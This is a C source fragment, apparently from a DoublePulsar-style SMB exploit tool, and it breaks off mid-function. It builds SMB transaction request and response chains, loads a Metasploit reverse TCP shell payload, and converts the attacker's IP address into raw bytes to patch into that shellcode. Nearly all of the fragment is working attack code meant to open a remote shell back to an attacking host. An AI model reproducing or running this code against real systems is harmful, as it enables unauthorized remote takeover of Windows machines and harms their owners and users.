static BYTE newshellcodeipraw[sizeof(DWORD)];
PTRANS_REQUEST_LIST transactionreqlist = NULL, transreqentry = NULL;
PTRANS_RESPONSE_LIST transactionresplist = NULL, transrespentry = NULL;
InitString(paramip, &ip);
ConvertStringToUnicode(&ip, &wip);
InitString(ThisMachinesIpAddress.Buffer, &info.AttackingIPAddress);
//InitUnicodeString(DOUBLE_PULSAR_SHELLCODE_TO_EXECUTE_FILENAME, &shellcodefilename);
info.sockaddrpointer = sa;
info.socketpointer = s;
info.wsapointer = &wsa;
info.connection_handle += (random() % 0x1000);
set_pid(&info, 65279);
set_mid(&info, 64);
set_tid(&info, 0);
set_uid(&info, 0);
//setup request list
for (i = 0, j = 0; i < numberofreqentries; i++)
{
req = &requests[i];
j = (i + 1);
if (j == numberofreqentries)
{
req->NextEntry = NULL;
}
else if (j < numberofreqentries)
{
req->NextEntry = &requests[j];
}
}
req = requests;
//setup response list
for (i = 0, j = 0; i < numberofrespentries; i++)
{
resp = (responses + i), j = (i + 1);
if (j == numberofrespentries)
{
resp->NextEntry = NULL;
}
else if (j < numberofrespentries)
{
resp->NextEntry = (responses + j);
}
}
resp = responses;
/*
if (!readfile(&shellcodefilename, &shellcode))
{
if (notnull(ip.Buffer))
FreeString(&ip);
if (notnull(wip.Buffer))
FreeUnicodeString(&wip);
PutUlong(status, ((GetLastError() != 0) ? GetLastError() : STATUS_FAIL));
errmsg(__FUNCTION__, __LINE__, GetUlong(status));
dbgprint("[%S]: SMBLibrary.dll!readfile failed on line %u", __FUNCTION__, __LINE__);
return GetUlong(status);
}
*/
//copy our shellcode from read only memory
bwsalloc(&shellcode, METASPLOIT_REVERSE_TCP_SHELL_SIZE);
cpy(shellcode.pbdata, METASPLOIT_REVERSE_TCP_SHELL, shellcode.dwsize);
//copy our ip address from a global variable
bwsalloc(&tmp, info.AttackingIPAddress.MaximumLength);
cpy(tmp.pbdata, info.AttackingIPAddress.Buffer, info.AttackingIPAddress.Length);
//we do all of the following to convert the ip address string to it's 4 byte representation in hex
if (!find_memory_pattern(&tmp, &any, ".", sizeof(BYTE)))
{
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
bwsfree(&shellcode);
bwsfree(&tmp);
return GetUlong(status);
}
*(any.ppointer) = '\0';
if (!find_memory_pattern(&tmp, &any, ".", sizeof(BYTE)))
{
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
bwsfree(&shellcode);
bwsfree(&tmp);
return GetUlong(status);
}
*(any.ppointer) = '\0';
if (!find_memory_pattern(&tmp, &any, ".", sizeof(BYTE)))
{
PutUlong(status, STATUS_FAIL);
errmsg(__FUNCSIG__, __LINE__, GetUlong(status));
bwsfree(&shellcode);
bwsfree(&tmp);
return GetUlong(status);
}
*(any.ppointer) = '\0';
any.pvpointer = tmp.pbdata;
newshellcodeipraw[0] = LOBYTE(atol(any.ppointer));
while (*(any.ppointer) != 0x00)
any.address++;
any.address++;
newshellcodeipraw[1] = LOBYTE(atol(any.ppointer));
while (*(any.ppointer) != 0x00)
any.address++;
any.address++;
newshellcodeipraw[2] = LOBYTE(atol(any.ppointer));
while (*(any.ppointer) != 0x00)
any.address++;
any.address++;
newshellcodeipraw[3] = LOBYTE(atol(any.ppointer));
RtlZeroMemory(&any, sizeof(any));
bwsfree(&tmp);